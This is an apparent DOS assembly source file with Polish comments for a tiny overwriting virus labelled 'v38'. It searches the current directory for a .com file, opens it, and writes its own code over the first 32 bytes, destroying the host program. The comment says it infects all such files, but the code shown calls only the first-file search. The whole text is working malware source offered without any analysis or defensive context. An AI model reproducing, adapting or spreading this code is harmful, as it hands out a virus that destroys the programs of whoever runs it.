; v38 - malutki wirus zarazajacy wszystkie pliki *.com w katalogu biezacym
; zapisuje swoj kod na poczatku pliku.

.model tiny
.data
wzor db '*.com',0
.code
org 100h

start:
; znajduje plik *.com ;
mov ah,4eh
mov dx,offset wzor
int 21h
;adres nazwy pliku
mov dx,009Eh
; otwarcie dojžcia do pliku ;
mov ax,3d01h
int 21h
xchg bx,ax
;zamazuje plik ;
mov dx,100h
mov cl,32
mov ah,40h
int 21h
;koniec ;
ret

END  start